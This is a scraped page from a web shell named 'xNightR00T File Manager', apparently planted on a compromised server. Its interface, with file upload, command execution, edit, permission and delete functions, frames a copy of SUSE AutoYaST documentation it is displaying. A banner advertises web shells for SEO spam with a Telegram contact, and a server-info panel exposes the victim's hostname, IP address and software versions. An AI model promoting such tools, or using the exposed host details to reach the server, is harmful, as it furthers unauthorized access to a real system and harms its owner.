xNightR00T File Manager

Current Directory:

	Name	Size	Permission	Modified	Actions
Loading...

$ Waiting for command...

__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleet

<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="" xml:lang=""><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>The Control File | AutoYaST | SUSE Linux Enterprise Server 12 SP1</title><meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes" /><link rel="stylesheet" type="text/css" href="static/css/style.css" /><meta name="generator" content="DocBook XSL Stylesheets V1.78.1" /><meta name="product-name" content="SUSE Linux Enterprise Server" /><meta name="product-number" content="12 SP1" /><meta name="book-title" content="AutoYaST" /><meta name="chapter-title" content="Chapter 2. The Control File" /> <meta name="tracker-url" content="https://bugzilla.suse.com/enter_bug.cgi" /><meta name="tracker-type" content="bsc" /><meta name="tracker-bsc-assignee" content="fs@suse.com" /><meta name="tracker-bsc-component" content="Documentation" /><meta name="tracker-bsc-product" content="SUSE Linux Enterprise Server 12 SP1" /><link rel="home" href="index.html" title="SUSE Linux Enterprise Server Documentation" /><link rel="up" href="book.autoyast.html" title="AutoYaST" /><link rel="prev" href="introduction.html" title="Chapter 1. Introduction" /><link rel="next" href="CreateProfile.html" title="Chapter 3. Creating A Control File" /><script type="text/javascript"> var protocol = window.location.protocol.toLowerCase(); if ( protocol != 'file:' ) { var agent = navigator.userAgent.toLowerCase(); var wanted = ( protocol == 'https:') ? 'https' : 'http'; var file = 'fonts.css'; if (agent.indexOf('android') != -1 && agent.indexOf('chrom') != -1 ) { file = 'fonts-nolocal.css'; } document.write('<link rel="stylesheet" type="text/css" href="' + wanted + '://static.opensuse.org/fonts/'+ file +'"></link>'); } else { document.write('<link rel="stylesheet" type="text/css" href="static/css/fonts-onlylocal.css"></link>'); } </script><noscript><link rel="stylesheet" type="text/css" href="http://static.opensuse.org/fonts/fonts.css" /></noscript><script src="static/js/jquery-1.10.2.min.js" type="text/javascript"></script><script src="static/js/script.js" type="text/javascript"></script></head><body class="offline js-off"><div id="_outer-wrap"><div id="_white-bg"><div id="_header"><div id="_logo"><img src="static/images/logo.png" alt="Logo" /></div><div class="crumbs"><a class="book-link" href="index.html" title="SUSE Linux Enterprise Server Documentation"><span class="book-icon">SUSE Linux Enterprise Server Documentation</span></a><span> › </span><a class="crumb" href="book.autoyast.html">AutoYaST</a><span> › </span><a class="crumb" href="Profile.html">The Control File</a></div><div class="clearme"></div></div></div><div id="_toolbar-wrap"><div id="_toolbar"><div id="_toc-area" class="inactive"><a id="_toc-area-button" class="tool" title="Contents" accesskey="c" href="index.html"><span class="tool-spacer"><span class="toc-icon">Contents</span><span class="clearme"></span></span><span class="tool-label">Contents</span></a><div class="active-contents bubble-corner"></div><div class="active-contents bubble"><div class="bubble-container"><h6>AutoYaST</h6><div id="_bubble-toc"><ol><li class="inactive"><a href="introduction.html"><span class="number">1 </span><span class="name">Introduction</span></a></li><li class="inactive"><a href="Profile.html"><span class="number">2 </span><span class="name">The Control File</span></a></li><li class="inactive"><a href="CreateProfile.html"><span class="number">3 </span><span class="name">Creating A Control File</span></a></li><li class="inactive"><a href="configuration.html"><span class="number">4 </span><span class="name">Configuration and Installation Options</span></a></li><li class="inactive"><a href="rulesandclass.html"><span class="number">5 </span><span class="name">Rules and Classes</span></a></li><li class="inactive"><a href="Invoking.html"><span class="number">6 </span><span class="name">The Auto-Installation Process</span></a></li><li class="inactive"><a href="handlingrules.html"><span class="number">A </span><span class="name">Handling Rules</span></a></li><li class="inactive"><a href="appendix.linuxrc.html"><span class="number">B </span><span class="name">Advanced Linuxrc Options</span></a></li><li class="inactive"><a href="app.ay.docupdates.html"><span class="number">C </span><span class="name">Documentation Updates</span></a></li><li class="inactive"><a href="bk04apd.html"><span class="number">D </span><span class="name">GNU Licenses</span></a></li></ol></div><div class="clearme"></div></div></div></div><div id="_nav-area" class="inactive"><div class="tool"><span class="nav-inner"><span class="tool-label">Navigation</span><a accesskey="p" class="tool-spacer" title="Chapter 1. Introduction" href="introduction.html"><span class="prev-icon">←</span></a><a accesskey="n" class="tool-spacer" title="Chapter 3. Creating A Control File" href="CreateProfile.html"><span class="next-icon">→</span></a></span></div></div></div></div><div id="_fixed-header-wrap" class="inactive"><div id="_fixed-header"><div class="crumbs"><a class="book-link" href="index.html" title="SUSE Linux Enterprise Server Documentation"><span class="book-icon">SUSE Linux Enterprise Server Documentation</span></a><span> › </span><a class="crumb" href="book.autoyast.html">AutoYaST</a><span> › </span><a class="crumb" href="Profile.html">The Control File</a></div><div class="buttons"><a class="top-button button" href="#">Top</a><div class="button"><a accesskey="p" class="tool-spacer" title="Chapter 1. Introduction" href="introduction.html"><span class="prev-icon">←</span></a><a accesskey="n" class="tool-spacer" title="Chapter 3. Creating A Control File" href="CreateProfile.html"><span class="next-icon">→</span></a></div><div class="clearme"></div></div><div class="clearme"></div></div></div><div id="_content" class=""><div class="documentation"><div class="chapter " id="Profile"><div class="titlepage"><div><div class="version-info">Applies to <span class="productname"><span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span></span> <span class="productnumber"><span class="productnumber"><span class="phrase">12 SP1</span></span></span></div><div><h1 class="title"><span class="number">2 </span><span class="name">The Control File</span> </h1></div></div></div><div class="line"><div class="toc"><dl><dt><span class="sect1"><a href="Profile.html#Profile.Intro"><span class="number">2.1 </span><span class="name">Introduction</span></a></span></dt><dt><span class="sect1"><a href="Profile.html#Profile.Format"><span class="number">2.2 </span><span class="name">Format</span></a></span></dt><dt><span class="sect1"><a href="Profile.html#Profile.Structure"><span class="number">2.3 </span><span class="name">Structure</span></a></span></dt><dt><span class="sect1"><a href="Profile.html#Profile.DTD"><span class="number">2.4 </span><span class="name">RELAX NG—A Schema Language for XML</span></a></span></dt></dl></div></div><p></p><div class="sect1 " id="Profile.Intro"><div class="titlepage"><div><div><h2 class="title" id="Profile.Intro"><span class="number">2.1 </span><span class="name">Introduction</span> <a title="Permalink" class="permalink" href="Profile.html#Profile.Intro">#</a></h2></div></div></div><p> The control file usually is a configuration description for a single system. It consists of sets of resources with properties including support for complex structures such as lists, records, trees and large embedded or referenced objects. </p><div id="idm140013833137728" class="admonition important"><img class="symbol" alt="Important" title="Important" src="static/images/icon-important.png" /><h6>Important: Control Files from Previous Releases are Incompatible</h6><p> A lot of major changes were introduced with <span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span> 12 (the switch to systemd and GRUB 2 for example). These changes also required fundamental changes in AutoYaST, therefore you cannot use AutoYaST control files created on previous SUSE Linux Enterprise versions to install <span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span> 12 and vice versa. </p></div></div><div class="sect1 " id="Profile.Format"><div class="titlepage"><div><div><h2 class="title" id="Profile.Format"><span class="number">2.2 </span><span class="name">Format</span> <a title="Permalink" class="permalink" href="Profile.html#Profile.Format">#</a></h2></div></div></div><p> The XML configuration format provides a consistent file structure, which is easy to learn and to remember when attempting to configure a new system. </p><p> The AutoYaST control file uses XML to describe the system installation and configuration. XML is a commonly used mark up and many users are familiar with the concepts of the language and the tools used to process XML files. If you edit an existing control file or create a control file using an editor from scratch, it is strongly recommended to validate the control file using a validating XML parser such as <code class="literal">xmllint</code>, for example. </p><p> The following example shows a control file in XML format: </p><div class="example" id="idm140013836963568"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 2.1: </span><span class="name">AutoYaST Control File (Profile) </span><a title="Permalink" class="permalink" href="Profile.html#idm140013836963568">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen"><?xml version="1.0"?> <!DOCTYPE profile> <profile xmlns="http://www.suse.com/1.0/yast2ns" xmlns:config="http://www.suse.com/1.0/configns"> <partitioning config:type="list"> <drive> <device>/dev/sda</device> <partitions config:type="list"> <partition> <filesystem config:type="symbol">btrfs</filesystem> <size>10G</size> <mount>/</mount> </partition> <partition> <filesystem config:type="symbol">xfs</filesystem> <size>120G</size> <mount>/data</mount> </partition> </partitions> </drive> </partitioning> <scripts> <pre-scripts> <script> <interpreter>shell</interpreter> <filename>start.sh</filename> <source> <![CDATA[ #!/bin/sh echo "Starting installation" exit 0 ]]> </source> </script> </pre-scripts> </scripts> </profile></pre></div></div></div></div><div class="sect1 " id="Profile.Structure"><div class="titlepage"><div><div><h2 class="title" id="Profile.Structure"><span class="number">2.3 </span><span class="name">Structure</span> <a title="Permalink" class="permalink" href="Profile.html#Profile.Structure">#</a></h2></div></div></div><p> Below is an example of a basic control file container, the actual content of which is explained later on in this chapter. </p><div class="example" id="idm140013829403248"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 2.2: </span><span class="name">Control file container </span><a title="Permalink" class="permalink" href="Profile.html#idm140013829403248">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen"><?xml version="1.0"?> <!DOCTYPE profile> <profile xmlns="http://www.suse.com/1.0/yast2ns" xmlns:config="http://www.suse.com/1.0/configns">  </profile></pre></div></div></div><p> The <code class="literal"><profile></code> element (root node) contains one or more distinct resource elements. The permissible resource elements are specified in the schema files </p><div class="sect2 " id="Profile.Format.ressources"><div class="titlepage"><div><div><h3 class="title" id="Profile.Format.ressources"><span class="number">2.3.1 </span><span class="name">Resources and Properties</span> <a title="Permalink" class="permalink" href="Profile.html#Profile.Format.ressources">#</a></h3></div></div></div><p> A resource element either contains multiple and distinct property and resource elements, or multiple instances of the same resource element, or it is empty. The permissible content of a resource element is specified in the schema files. </p><p> A property element is either empty or contains a literal value. The permissible property elements and values in each resource element are specified in the schema files </p><p> An element can be either a container of other elements (a resource) or it has a literal value (a property); it can never be both. This restriction is specified in the schema files. A configuration component with more than one value must either be represented as some kind of embedded list in a property value or as a nested resource. </p></div><div class="sect2 " id="Profile.Format.ressources_nested"><div class="titlepage"><div><div><h3 class="title" id="Profile.Format.ressources_nested"><span class="number">2.3.2 </span><span class="name">Nested Resources</span> <a title="Permalink" class="permalink" href="Profile.html#Profile.Format.ressources_nested">#</a></h3></div></div></div><p> Nested resource elements allow a tree-like structure of configuration components to be built to any level. </p><div class="example" id="idm140013838093472"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 2.3: </span><span class="name">Nested Resources </span><a title="Permalink" class="permalink" href="Profile.html#idm140013838093472">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">... <drive> <device>/dev/sda</device> <partitions>  <partition> <size>10G</size> <mount>/</mount> </partition> <partition> <size>1G</size> <mount>/tmp</mount> </partition> </partitions> </drive> ....</pre></div></div></div><p> In the example above the disk resource consists of a device property and a partitions resource. The partitions resource contains multiple instances of the partition resource. Each partition resource contains a size and mount property. </p><p> The XML schema defines the partitions element as a resource supporting one or multiple partition element children. If only one partition resource is specified it is important to use the <code class="literal">config:type</code> attribute of the partitions element to indicate that the content is a resource, in this case a list. Using the partitions element with out specifying the type in this case will result in undefined behavior as YaST will improperly interpret the partitions resource as a property. The example below illustrates this use case. </p><div class="example" id="idm140013838205024"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 2.4: </span><span class="name">Nested Resources with Type Attributes </span><a title="Permalink" class="permalink" href="Profile.html#idm140013838205024">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">... <drive> <device>/dev/sda</device> <partitions config:type="list"> <partition> <size>10G</size> <mount>/</mount> </partition> <partition> <size>1G</size> <mount>/tmp</mount> </partition> </partitions> </drive> ....</pre></div></div></div></div><div class="sect2 " id="Profile.Format.attributes"><div class="titlepage"><div><div><h3 class="title" id="Profile.Format.attributes"><span class="number">2.3.3 </span><span class="name">Attributes</span> <a title="Permalink" class="permalink" href="Profile.html#Profile.Format.attributes">#</a></h3></div></div></div><p> Global attributes are used to define metadata on resources and properties. Attributes are used to define context switching. They are also used for naming and typing properties as shown in the previous sections. Attributes are in a separate namespace so they do not need to be treated as reserved words in the default namespace. </p><p> Global attributes are defined in the configuration namespace and must always be prefixed with <code class="literal">config:</code> . All attributes are optional. Most can be used with both resource and property elements but some can only be used with one type of element which is specified in the schema files. </p><p> The type of an element is defined using the <code class="literal">config:type</code> attribute. The type of a resource element is always RESOURCE, although this can also be made explicit with this attribute (to ensure correct identification of an empty element, for example, when there is no schema file to refer to). A resource element cannot be any other type and this restriction is specified in the schema file. The type of a property element determines the interpretation of its literal value. The type of a property element defaults to <code class="literal">STRING</code>, as specified in the schema file. The full set of permissible types is specified in the schema file. </p></div></div><div class="sect1 " id="Profile.DTD"><div class="titlepage"><div><div><h2 class="title" id="Profile.DTD"><span class="number">2.4 </span><span class="name">RELAX NG—A Schema Language for XML</span> <a title="Permalink" class="permalink" href="Profile.html#Profile.DTD">#</a></h2></div></div></div><p> A RELAX NG schema specifies a pattern for the structure and content of an XML document. A RELAX NG schema thus identifies a class of XML documents consisting of those documents that match the pattern. A RELAX NG schema is itself an XML document. </p></div></div></div><div class="page-bottom"><div id="_bottom-navigation"><a class="nav-link" href="CreateProfile.html"><span class="next-icon">→</span><span class="nav-label"><span class="number">Chapter 3 </span>Creating A Control File</span></a><a class="nav-link" href="introduction.html"><span class="prev-icon">←</span><span class="nav-label"><span class="number">Chapter 1 </span>Introduction</span></a></div><div id="_share-print"><div class="online-contents share"><strong>Share this page: </strong><span class="share-buttons"><span id="_share-fb" class="bottom-button">Facebook</span><span class="spacer"> • </span><span id="_share-gp" class="bottom-button">Google+</span><span class="spacer"> • </span><span id="_share-tw" class="bottom-button">Twitter</span><span class="spacer"> • </span><span id="_share-mail" class="bottom-button">E-Mail</span></span></div><div class="print"><span id="_print-button" class="bottom-button">Print this page</span></div><div class="clearme"></div></div></div></div><div id="_inward"></div></div><div id="_footer-wrap"><div id="_footer"><p>© 2015 SUSE</p><ul><li><a href="http://www.suse.com/company/careers/" target="_top">Careers</a></li><li><a href="http://www.suse.com/company/legal/" target="_top">Legal</a></li><li><a href="http://www.suse.com/company/" target="_top">About</a></li><li><a href="http://www.suse.com/ContactsOffices/contacts_offices.jsp" target="_top">Contact Us</a></li></ul></div></div></body></html>

Filemanager

Name	Type	Size	Permission
images	Folder		0755
static	Folder		0755
CreateProfile.html	File	17.26 KB	0644
Invoking.html	File	42.54 KB	0644
Profile.html	File	19.89 KB	0644
app.ay.docupdates.html	File	22.78 KB	0644
appendix.linuxrc.html	File	22.66 KB	0644
bk04apd.html	File	31.8 KB	0644
book.autoyast.html	File	30.16 KB	0644
configuration.html	File	262.86 KB	0644
handlingrules.html	File	8.58 KB	0644
index.html	File	30.16 KB	0644
introduction.html	File	15.04 KB	0644
rulesandclass.html	File	46.1 KB	0644

Name

Type

Size

Permission

Actions

images

Folder

0755

static

Folder

0755

CreateProfile.html

File

17.26 KB

0644

Invoking.html

File

42.54 KB

0644

Profile.html

File

19.89 KB

0644

app.ay.docupdates.html

File

22.78 KB

0644

appendix.linuxrc.html

File

22.66 KB

0644

bk04apd.html

File

31.8 KB

0644

book.autoyast.html

File

30.16 KB

0644

configuration.html

File

262.86 KB

0644

handlingrules.html

File

8.58 KB

0644

index.html

File

30.16 KB

0644

introduction.html

File

15.04 KB

0644

rulesandclass.html

File

46.1 KB

0644

Server Info

Hostname: sles125-zend-seiko

IP Address: 123.30.208.48

PHP Version: 7.4.19

Server Software: nginx/1.18.0

HDD Total Space: 38.02 GB

HDD Free Space: 4.51 GB

Total Domains in Server: 1

System: Linux sles125-zend-seiko 4.12.14-122.83-default #1 SMP Tue Aug 3 08:37:22 UTC 2021 (c86c48c) x86_64

System Info

Select Feature:

xNightR00T File Manager

Upload:

Command:

Filemanager

Server Info

System Info

User Info

xNightR00T File Manager

Edit File:

Create Folder

Create File

Change Permission

Rename

Confirm Delete

Upload:

Command:

Filemanager

Server Info

System Info

User Info